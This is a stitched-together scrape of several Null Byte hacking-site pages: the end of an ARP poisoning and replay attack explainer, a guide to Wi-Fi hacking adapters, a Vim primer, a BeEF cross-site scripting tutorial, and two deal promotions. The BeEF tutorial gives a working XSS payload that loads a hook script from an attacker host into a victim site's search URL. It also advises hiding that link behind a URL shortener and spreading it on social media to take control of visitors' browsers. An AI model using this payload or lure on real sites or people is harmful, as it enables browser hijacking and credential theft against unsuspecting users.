address, system will always trust that information.ARP Poisoningis based on tampering wrong information in the victims ARP tables, let's stress one attack down to clarify things.1.Communication is done between host and router.Attacker tampers victims(hosts) ARP cache - he fools host that the IP address of router is tagged to attackers MAC.Attacker tampers victims(routers) ARP cache - he fools router that the IP address of the host is tagged to the attacker MAC.Every packet from the host to the router would be first sent to the attacker, after that attacker will forward packets.From the angle of attacker, everything that is not encrypted, can be very usefull(Credentials,Bank informations,PII etc...)Replay Attackrepresents ability of attacker to intercept and replay traffic, for example: If homer sends hashed password to server in authentication purposes, an attacker can capture that data. After some time attacker can replay same data to authenticate himself as a Homer, this is type of impersonation in the digital world. WEP - Wired Equivalent Privacy wireless encryption protocol is susceptible on the ARP replay attack, I will discus this in more detail in the article that targets Wireless attacks.PS: Sorry because of grammar errors, my English is not native, best regards !Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINDeal Alert:Grab This Microsoft Office Beginner's Guide for Only $35How To:Antisocial EngineNews:The HoloLens & a Simple Gesture Can Stop a Complex Cyber-AttackHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Automate Wi-Fi Hacking with Wifite2SQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:The Ultimate Guide to Hacking macOSHow To:Use advanced foil fencing attacks & strategyHow To:Use Google's Advanced Protection Program to Secure Your Account from PhishingNews:Audi Set to Launch Level 3 Model — But You Have to Hack It for Self-DriveHow To:Crack WPS with WifiteNews:Freemium Games Start Their US Invasion on the iOS FrontShark Survival:Guide to Getting Out AliveNews:The Antics Roadshow - Banksy's Documentary on the History of PranksNews:The Myths of Limited WarHow To:Get the 'The Eye of Magnus' Achievement in The Elder Scrolls V: SkyrimHow To:Understand the Way Our Immune System Fights Enemies Like a Modern ArmyNews:The Best Books for Mastering Your Canon EOS 5D Mark II DSLRNews:Total Recall - Movie Trailer & PosterHow To:Understand The Process of InflammationNews:The Gorilla Tour-GuideTSA:Useful or Useless?News:Minecraft World's Ultimate Survival Guide, Part 2How To:log on Windows 7 with username & passwordNews:Total Lunar Eclipse Early Morning Tomorrow (December 10th) in North AmericaNews:A little about Augmented Reality (AR)How To:FarmVille Crafting Building Mastery, Crafting Co Op, and Recipe GuideNews:9 Easy Exploits to Raise Combat Skills in SkyrimHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:A Brief Summary on heart attackNews:Attack of the 50 Foot Woman 1958How To:A Self-Protection GuideLock Down Your Web Server:10 Easy Steps to Stop Hackers from AttackingNews:Obama supports drone attacksKick Ass Review Part 2:Gameplay and DesignNews:Minecraft World's Ultimate Survival Guide, Part 1How To:Be a Navy SEALTera Online:Emphasis on Gameplay |
Dionaea « Null Byte :: WonderHowTo | No content found. |
Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019 « Null Byte :: WonderHowTo | To hack a Wi-Fi network using Kali Linux, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, so I've rounded up this list of 2019's best wireless network adapters for hacking on Kali Linux to get you started hacking both WEP and WPA Wi-Fi networks.Wi-Fi Hacking for BeginnersKali Linux is by far the best supported hacking distro for beginners, and Wi-Fi hacking on Kali (previously called BackTrack) is where I started my own journey into hacking. In order to hack Wi-Fi, you will quickly learn that a wireless network adapter supporting packet injection and monitor mode is essential. Without one, many attacks are impossible, and the few that work can take days to succeed. Fortunately, there are several good adapters to choose from.Don't Miss:Select a Field-Tested Kali Linux Compatible Wireless AdapterA range of Kali Linux compatible network adapters.Image by SADMIN/Null ByteIf you're new to hacking Wi-Fi, Null Byte'sKali Pi hacking platformis a great way to get started hacking on Kali Linux for little investment. Any of the wireless network adapters on this list can be combined with a Raspberry Pi to build your own Wi-Fi hacking computer.A Raspberry Pi with a supported network is a powerful, low-cost Kali Linux hacking platform.Image by SADMIN/Null ByteDon't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running KaliWhat's so great about wireless network adapters? By swapping out the antenna or adapter type, we can target different kinds of networks. We can even target far-away networks with the addition of special super long-range directional antennaslike the Yagi antenna($91.99).Chipsets Supported by Kali LinuxSo how do you pick the best wireless network adapter for hacking? If you're hacking on Kali, certain chipsets (the chip that controls the wireless adapter) will work without much or any configuration needed.Atheros AR9271 chipset inside the ALFA Network AWUS036NHA.Image by Maintenance script/WikidevChipsets that work with Kali include:Atheros AR9271Ralink RT3070Ralink RT3572Realtek 8187L (Wireless G adapters)Realtek RTL8812AU(newly in 2017)my research also suggests theRalink RT5370Nis compatibleIn 2017, Kali Linux began supporting drivers for theRTL8812AUwireless chipsets. These drivers are not part of the standard Linux kernel and have been modified to allow for injection. This is a big deal because this chipset is one of the first to support 802.11 AC, bringing injection-related wireless attacks to this standard.Kali Linux compatible adapters.Image by SADMIN/Null ByteAdapters That Use the Ralink RT3070 ChipsetThe Alfa AWUS036NH 2.4 GHz($31.99 on Amazon)The Alfa AWUS036NH is a b/g/n adapter with an absurd amount of range. This is amplified by the omnidirectional antenna and can be paired with aYagi($29.95) orPaddle($23.99) antenna to create a directional array.The AWUSO36NH.Image by SADMIN/Null ByteThe Alfa AWUS036NEH 2.4 GHz($29.99 on Amazon)If you're looking for a somewhat more compact wireless adapter that can be plugged in via USB, the Alfa AWUS036NEH is a powerful b/g/n adapter that's slim and doesn't require a USB cable to use.The AWUS036NEH, relatively compact with extreme range.Image by SADMIN/Null ByteThe Panda PAU05 2.4 GHz($13.99 on Amazon)Sometimes you need a stealthier option that's still powerful enough to pwn networks without making a big fuss about plugging in large, suspicious network adapters. Consider the g/n PAU05, affectionately nicknamed "El Stubbo" and a personal favorite both for its low profile and its aggressive performance in the short and medium range. Consider this if you need to gather network data without including everything within several blocks.A note on the Panda from one of our readers:The Panda PAUO5 on Amazon won't do packet injection. It seems they now ship with an unsupported chipset (RT5372), so make sure yours has the correct chipset!The PAU05, a super low-profile option that is one of my favorites.Image by SADMIN/Null ByteAdapters That Use the Atheros AR9271 ChipsetThe Alfa AWUS036NHA 2.4 GHz($37.69 on Amazon)The Alfa AWUS036NHA is my current long-range network adapter and the standard by which I judge other long-range adapters. For a long-range application, thispaired with a ridiculously big adapter($9.99) is a stable, fast, and well-supported b/g/n wireless network adapter.The AWUS036NHA, featuring great long-range performance.Image by SADMIN/Null ByteThe TP-LINK TL-WN722N 2.4 GHz($14.99 on Amazon)A favorite for newbies and experienced hackers alike, this compact b/g/n is among the cheapest but boasts surprisingly impressive performance. That being said,only v1 of this adapter will work with Kali Linux. The v2 version of this adapter is a different chipset, so make sure you check to see which yours is!WARNING: Only version ONE of this adapter will work with Kali.Image by SADMIN/Null ByteAdapters That Use the Ralink RT5370N ChipsetThe Detroit DIY Electronics Wifi Antenna For Raspberry Pi($11.99 on Amazon)While I haven't tested this IEEE 802.11n compatible adapter personally, the chipset is supported in Kali and it supports monitor mode. For an extremely compact adapter with an external antenna mount for swapping different types of antennas, the Detroit DIY Electronics Wifi Antenna For Raspberry Pi is a good starter option.Compact option from Detroit Electronics.Image viaDetroit ElectronicsAdapters That Use the Realtek RTL8812AU Chipset (New)The Alfa AWUS036ACH 802.11ac AC1200 Wide-Range USB 3.0 Wireless Adapter with External Antenna($59.99 on Amazon)Newly supported in 2017, the Alfa AWUS036ACH is a beast, with dual antennas and 2.4 GHz 300 Mbps/5 GHz 867 Mbps – 802.11ac and a, b, g, n compatibility. This is the newest offering I've found that's compatible with Kali, so if you're looking for the fastest and longest range, this would be the adapter to start with.To use this, you may need to first run the following.apt updateapt install realtek-rtl88xxau-dkmsThis will install the needed drivers, and you should be good to go.The Alfa AWUS036ACH, ready to hack on 802.11ac.Image viaAlfa WebsiteOther OptionsDuring my research, I also came across the following adapters with supported chipsets, but only anecdotal evidence of packet injection and monitor mode. If you're feeling adventurous, you can pick up one of the following supported adapters mention in the comments how it works for you.TheWiFi Module 4($27.95) by Hard Kernel uses the supported Ralink RT5572 chipset, which adds 5 GHz capabilities, and also works in 2.4 GHz.An ultra-compact option is also theWiFi Module 0($7.95), also by Hard Kernel, based on Ralink RT5370N chipset.Some of the top wireless network adapters for hacking.Image by SADMIN/Null ByteThat completes my roundup of wireless network adapters for hacking in 2019. Got a favorite I didn't list? Leave a comment and link us to it.Don't Miss:How to Select a Field-Tested Kali Linux Compatible Wireless AdapterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Spy on Network Relationships with Airgraph-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Automate Wi-Fi Hacking with Wifite2How To:Extend a (Hacked)Router's Range with a Wireless Adapter.How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Pick an Antenna for Wi-Fi HackingHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyNews:The Best Black Friday 2019 Deals for iPhone & Android ChargersHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Intercept Images from a Security Camera Using WiresharkHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHacking Android:How to Create a Lab for Android Penetration TestingHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Crack Wi-Fi Passwords—For Beginners!How To:Find Saved WiFi Passwords in WindowsHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy Steps |
An Intro to Vim, the Unix Text Editor Every Hacker Should Be Familiar With « Null Byte :: WonderHowTo | As pentesters and hackers, we're going to be working with text frequently — wordlists, configuration files, etc. A lot of this we'll be doing on our machine, where we have access to whatever editor we prefer. The rest of it will be on remote machines, where the tools for editing will be limited. Ifnanois installed, we have an easy-to-use terminal text editor, but it isn't very powerful.Luckily, most systems will have eitherViorViminstalled. Vi stands forvisualand is a powerful, fast modal text editor that works in either insert mode (where you're typing inside the document) or normal mode (where you input commands for the session). Switching between these sessions is as easy as a keystroke, so it's great for those of you whodon't like taking your hands off your keyboard.Vim, which stands forVi IMproved, has all the features of Vi with some excellent additions that aid in editing source code. There's also a comprehensive help system and lots of customization options available. Many systems symlink Vi to Vim, includingmacOS. Personally, Vim is for all of my editing on remote hosts.Image via Null ByteVim may seem complicated and unintuitive, but don't worry — it feels that way for everyone when they're just starting. The trick is to keep at it. The longer you use Vim, the better you will get with it — to the point where you won't even need to take your hands off the keyboard.This guide will be very introductory. There are entire books written about Vi/Vim, but I want to make sure you know at least the basics so you can get up and running with it.Configuring VimOur first step is to configure Vim. Since we'll generally be working with code or configuration, we'll want line numbering and syntax highlighting on. Vim can be configured by editing the.vimrcfile in your home directory.Step 1: Open a TerminalOpen up a terminal emulator such asiTerm, and ensure you are at your home directory with the command:pwdThe terminal should show that you are in/Users/$yourusernameor something likeroot@kali. If it doesn't, enter the following command, which willchange directoriesto your home directory.cdStep 2: Edit the FileYour.vimrcfile is where your Vim configurations are stored. As you use Vim, you will start to have more custom configuration in your.vimrcfile. I keep a copy of my complex.vimrcon my GitHub, but in general, when you are using Vim on a remote host, unless you are an authorized user, you won't have a custom.vimrcso it's important to be familiar with basic behavior.In the terminal, enter the command:vim .vimrcThis tells Vim to open the file.vimrc. This file may not exist. In my case, I haven't configured.vimrcyet. As you can see below, it's an empty document, and the tilde (~) symbols simply indicate empty lines.Vim starts up in command mode (aka normal mode), not insert mode. This means that keys pressed will be interpreted as commands for Vim and not data entry. In order to get out of command mode, you will need to pression your keyboard. This enables insert mode. If you were to pressainstead, Vim would move the cursor one space to the left and begin insert mode there.In the image above, in the bottom left of the screen, we can see we are in insert mode. Now we can type in our configuration. You will want the following lines in the file:syntax on
set wrapmargin=8
set numberSyntax onenables built-in syntax highlighting for many programming languages and configuration files.Set wrapmargin=8gives us an 8-character buffer before the end of the terminal and makes the screen more legible.Set numbersimply turns on line numbering.On Amazon:Vi and Vim Editors Pocket Reference: Support for Every Text Editing TaskStep 3: Write Your Changes & QuitWe will now need to press theesckey in order to change Vim's mode back to command mode. The "INSERT" text at the bottom left of the screen should disappear when you are in command mode.In order to write (w) and quit (q), we simply enter the following command, including the colon (:) character.:wqWe now have a.vimrcfile, and the next time we edit something with Vim, we will see the changes. As you can see below, it looks a whole lot better.Step 4: Move Around in Command ModeWhen we're in command mode, we can move around the document quickly. The arrow keys will move around the document, as well ash,j,k,l— these keys work just like the arrow keys. If you've ever played Crawl, you will be very familiar with them.h moves left
j moves down
k moves up
l moves rightSome additional movement keys:e moves you forward to the end of a word
w moves you forward to the beginning of a word
b moves you back to the beginning of a word
$ moves you to the end of a line
0 (zero) moves you the beginning of a line
G moves you to the end of a file
gg moves you to the start of a fileThere are, of course, many more ways to move around a file, but these should cover most use-cases.Step 5: Search a FileOften we will need to find strings in files, usually configuration, but it can also help with history files or anything else we maybe editing. For this, you will need to be in command mode. If you aren't sure what mode you are in, press the escape key, which will bring you back to command mode if you're not there already.For a simple search, we use/and then the string. For example,/password. If we were at the end of the file, we would use?, as in?password, to search backward. Thencommand will repeat the last forward search, and theNcommand will repeat the last backward search./string searches forward (replace string with your query)
?string searches backward from end of file (replace string with your query)
n repeats the last forward search
N repeats the last backward searchIn order to search and replace, we use the:%s/search/replace/syntax (you will need to enter the colon). For instance,:%s/tcpdump/ls/will search the entire file and replace every instance oftcpdumpwithls. And:%s/myPrivEscalationScript/ls/cwill search the entire file and replace each instance only if you confirm it.:%s/search/replace/ searches entire file for "search" phrase, replaces with "replace" phrase
:%s/search/replace/c same as above, but requires confirmation to replaceVim also supports regular expressions in the same way thatgrepdoes.Don't Miss:An Introduction to Regular Expressions (Regex)On Amazon:Learning the Vi and Vim Editors: Text Processing at Maximum Speed and PowerStep 6: Save, Quit & Shell EscapeExiting Vim is always a problem for people just starting out. In order to exit, use these commands::w writes the file
:wq writes the file and quits
:q! exits the editor and discards all changes
:w someFileName writes the changes to a file called "someFileName"In some cases, we might want to escape to a shell to browse directory trees or look at other files. In order to execute a system command in Vim, we use the command::!commandThis will execute whatever command we put after the bang. This can be a shell:!bash, which we can exit to return to Vim, or we could:!ls /etcto view the contents of the/etcdirectory.That Should Get You StartedThis article barely scratches the surface. As I stated in the introduction, Vim is a very powerful tool with entire books being dedicated to it. However, with these basic commands, you should be able to get around files, manipulate them, and exit the editor. I highly recommend picking up a copy of O'Reilly's guides below until you feel comfortable using it.Vi and Vim Editors Pocket Reference: Support for Every Text Editing TaskLearning the Vi and Vim Editors: Text Processing at Maximum Speed and PowerOnce you become skilled with Vim, you'll be flying through those text files like they were clouds.Don't Miss:A Guide to Choosing Your Optimal Text Editor or IDEFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Barrow/Null ByteRelatedHow To:VIM, as Ugly as It Is FastMac for Hackers:How to Set Up Homebrew to Install & Update Open-Source ToolsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy)How To:Slip a Backdoor into PHP Websites with WeevelyMac for Hackers:How to Get Your Mac Ready for HackingHow To:Create a medieval Knights Templar styled intro in After EffectsHow To:Use SecGen to Generate a Random Vulnerable MachineHow To:Use MinGW to Compile Windows Exploits on Kali LinuxHow To:Find Your Computer's Vulnerability Using LynisHow To:Punchabunch Just Made SSH Local Forwarding Stupid EasyNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:VIM, Using the Normal Mode Part 1How To:Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)How To:Use a Misconfigured SUID Bit to Escalate Privileges & Get RootHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1Hacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellCoding Basics:A Guide to Choosing Your Optimal Text Editor or IDEHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingWeekend Homework:How to Become a Null Byte Contributor (2/24/2012)News:Lightweight Programs You Should Use for a Faster LinuxNews:Recut Movie Trailers - Horror VersionsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:17th Annual Interactive Fiction Competitors AnnouncedHow To:Skip the Pre-Menu Credits in Deus Ex: Human RevolutionNews:INTRO TO SCREENWRITINGNews:Alex Responds to Obama’s Text Editor’s So Called ‘Mistake’News:Jim Winter 'FINGERS' Palmistry intro 1Community Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:A Guide to Steganography, Part 1: How to Hide Secret Messages in ImagesHow To:Make a Gmail Notifier in Python |
Exploiting XSS with BeEF: Part 2 « Null Byte :: WonderHowTo | Now that we have our vulnerable server, it's time to start up BeEF.Getting StartedStep 1: Running BeEFIf you have Kali, BeEf comes pre-installed. You can find it in/usr/share/beef-xss/. Once you're there, type./beefto execute the program.You will need to know both of these addresses. The top one is for the browser-grabbing JavaScript file, and the second one is for accessing the web UI.Step 2: Getting into the UIOnce you have run BeEF, you can access the web UI through your browser. Typehttp://your_ip:3000/ui/paneland you will be redirected to the login page.The default credentials arebeeffor both the username and password. After logging in, you will be presented with the start/help screen.ExploitingStep 1: Build the Malicious CodeRemember that line of text from the terminal earlier? That's the location of our malicious JS code. For me, it'shttp://10.0.2.13:3000/hook.js.Since we want this to be run as code, we will implement this with the<script>function of HTML. Your<script>line should look similar to this:<script type=text/javascript src=http://10.0.2.13:3000/hook.js ></script>Step 2: Making the URLLet's go back to when we searched for something. When we did, we had a part of the URL...?query=lorem+ipsum. This is the part of the URL that tells the website what is being searched. By using XSS, we can take this even further to run pretty much whatever we want. When we build our url, it should look likehttp://victimsite.com/search.asp?query=<script type=text/javascript src=http://10.0.2.13:3000/hook.js ></script>When the victim visits this website, it automatically "searches" for whatever is put behind thequery=. But because we have a script, it will be run as a script instead of a search.Step 3: Sending to a VictimIn order to "hook" their browser, we need to send them this link. But of course, this might seem suspicious to the average user. But if we were to use a URL shortener likebit.ly, it would be hidden, and more people would click on it on social media.Most websites that allow you to share articles/videos, etc. automatically include abit.lylink in the message. If you were to share thisbit.lylink on Twitter, no one will think of it being malicious.http://bit.ly/1EjY8TqDoesn't that look much better thanhttp://victimsite.com/search.asp?query=<script type=text/javascript src=http://10.0.2.13:3000/hook.js ></script>? I think so.Step 4: Done!Once someone clicks on that innocent-looking link, you will have complete control over their browser! If you are attacking over WAN, don't forget to port forward.Next Time...In my next article, I will be explaining how to get a persistent connection with BeEF, including how to get a shell on the victim PC.C|H of C3Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow To:Hook Web Browsers with MITMf and BeEFExploiting XSS with BeEF:Part 3How To:Hack a remote Internet browser with XSS ShellHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:Got Beef? Getting Started with BeEFHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1How To:Hack websites using cross-site scripting (XSS)How To:BeEF+Ettercap:Pwning MarriageHow To:Pull Italian Beef for Italian Beef SandwichExploiting XSS with BeEF:Part 1How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:Top 10 Beef-less Burgers in LAHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItHow To:Make Bourbon-Spiked Chili |
Boost Your Productivity with This Mind-Mapping Tool « Null Byte :: WonderHowTo | Whether you're coding a simple app, trying to learn a new programming language, orbuilding an entirely new operating system from scratch, being able to quickly and clearly organize your thoughts isabsolutely paramount— even as an ethical hacker or penetration tester.And now that most of us have been forced to work from home for the foreseeable future, it can be difficult to avoid those plentiful at-home distractions that can drain your focus and sap your productivity.EnterMindMaster Mind Mapping Software— an all-in-one organizational tool that makes it easy to quickly lay your ideas out into coherent mind maps that will expedite your entire workflow for just $49.With MindMaster by your side, you'll be able to choose from 12 unique map structures, over 30 themes, and over 700 pieces of clipart to bring your ideas to life and boost your creativity.With a nearly perfect rating on FinancesOnline and dozens of rave reviews on sites like WRCBtv, this productivity powerhouse was designed with a wide variety of creative professionals in mind, by allowing you to create detailed mind maps that integrate bullet points and visual designs.You'll be able to memorize complex data while innovating solutions to problems through multiple mapping structures, and it's easy to fine-tune and customize each map and theme to adhere to your specific workflow and problem-solving style.Fully compatible with popular presentation platforms like PowerPoint, MindMaster also makes it easy to add everything from callouts and summaries to notes and hyperlinks to your projects with a single click. There's even a specialized brainstorming mode that's perfect for getting your ideas on paper as soon as they pop into your head.Take your productivity and organization to the next level with a license to MindMaster forjust $49— over 60% off its usual price today.Prices are subject to change.Try It Out:MindMaster Mind Mapping Software for $49Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by The Hookup/Null ByteRelatedHow To:Master Your Own Mind with This Brain Mapping ToolHow To:Having Just One Plant in Your Workspace Can Boost Your Overall ProductivityHow To:10 Desk Hacks That'll Help You Get More Done at WorkHow To:Boost your productivity by making time for napsHow To:Weightlifting Can Improve Your Memory, but Lazy People Can Do These 5 Things InsteadHave You Seen This?:Mind Mapping in 3D with the HoloLens & Holo MindHow To:Stop procrastinating and boost your productivityHow To:6 Ways Music Affects Your Productivity (For Better or Worse)How To:Work Less & Get More AccomplishedNews:Mapbox Unrolls Magic Maps Developer Tool for Magic LeapNews:Now Noobs Can Create AR Apps for Ubimax's Enterprise PlatformHow To:Become a Productivity Master with Google Apps ScriptHow To:This Top-Rated Bundle Will Help You Kick-Start a More Productive LifeHow To:Set up multiple monitors on your PCNews:Mind Map AR Moving from Tango to ARCoreNews:27 Best Productivity Apps to Make Working from Home Less StressfulHow To:Retrieve Deleted Notes on Google KeepNews:Mapbox Updates Maps SDK to Compete with Google Maps API for Location-Based GamingHow To:Disable Link Previews in Google KeepHow To:Copy a Google Keep Note Directly to Google DocsHow To:Measure Area & Distance Directly in Google Maps on Your Galaxy Note 3News:Collections OverviewNews:Microsoft Ribbon HeroNews:Time-Saving Tricks for Working Smarter and Faster in 3ds Max 8How To:9 Ways to Increase Your Focus for Getting Things DoneNews:DIY $12 Boost ControllerNews:Collection boostsNews:Upcoming ArticlesHow To:Install boost gaugeHow To:Install boost gaugeNews:$12 DIY Boost controllerNews:11.3 Million Video Game Deaths VisualizedHow To:Your Ultimate All-Nighter Survival GuideNews:Boost Mobile. Is It Hot or NotNews:Planning a Trip Straight Through Earth? Find Your Antipodal Destination!News:New Minecraft Map Format, "Anvil" AnnouncedNews:Two Notes to you allNews:Player Maps for Minecraft in 1.6How To:Liquid cool your processor with nitrogenNews:Minecraft Custom Map - Episode 1: The Wooden Room |
This $1,300 Ethical Hacking Bundle Is on Sale for $40 Today « Null Byte :: WonderHowTo | There are countless ways in which you can turn your love of tech and coding into a full-fledged career — from developing apps and websites as a freelancer to working in the IT departments of small startups or major tech companies. But one of the best ways that you can put your programming skills to good use is to join the increasingly important world of cybersecurity.As an unprecedented amount of information is being transferred and shared digitally across the globe, hackers and foreign governments aretaking advantage of vulnerabilitiesthat can bring down everything from corporate servers to entire power grids, and IT pros who can anticipate, stop, and retaliate against these threats are in high demand. That, my friends, is Null Byte in a nutshell.Known as ethical or "white hat" hackers, these cybersecurity analysts are at the forefront of the fight against virtually every type of cybercrime, and theUltimate 2020 White Hat Hacker Certification Bundlewill teach you how to join their ranks for $39.90. Combine that with the guides on Null Byte, and you're golden.Ideal for current developers and coding enthusiasts who want to expand their skill set while launching a high-paying career, this bundle comes with ten courses and nearly 100 hours of training that will give you the tools you need to thrive in the field.If you're relatively unfamiliar with the basic methodologies and terminology of cybersecurity and ethical hacking, start with the introductory modules that walk you through everything from the industry's most relied-upon platforms to the base-level threat-monitoring tools that are employed by companies in both the private and public sectors.From there, you'll be able to dive into more advanced topics that focus on usingPythonto safeguard networks, building secure firewalls that can thwart attacks from foreign servers, identifying vulnerabilities in software,bypassing antivirusplatforms to retaliate against attacks, and more.There's also instruction that will prepare you to ace the exams for two of the field's most valuable credentials — theCompTIA CySA+andPenTest+certifications — through detailed lessons that pull material directly from past exams.Join the fight against cybercrime with the Ultimate 2020 White Hat Hacker Certification Bundle. Usually priced at over $1,000, this career-changing education is available for over 95% off atjust $39.90today.Prices are subject to change.Become a White Hat Hacker:The Ultimate 2020 White Hat Hacker Certification Bundle for Just $39.90Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo bystokkete/123RFRelatedHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Get a Jump Start into Cybersecurity with This BundleHow To:Leap into Cybersecurity with This Ethical Hacking BundleHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:Learn to Draw Like a Pro for Under $40How To:This Extensive Python Training Is Under $40 TodayDeal Alert:Learn to Code for Only $39 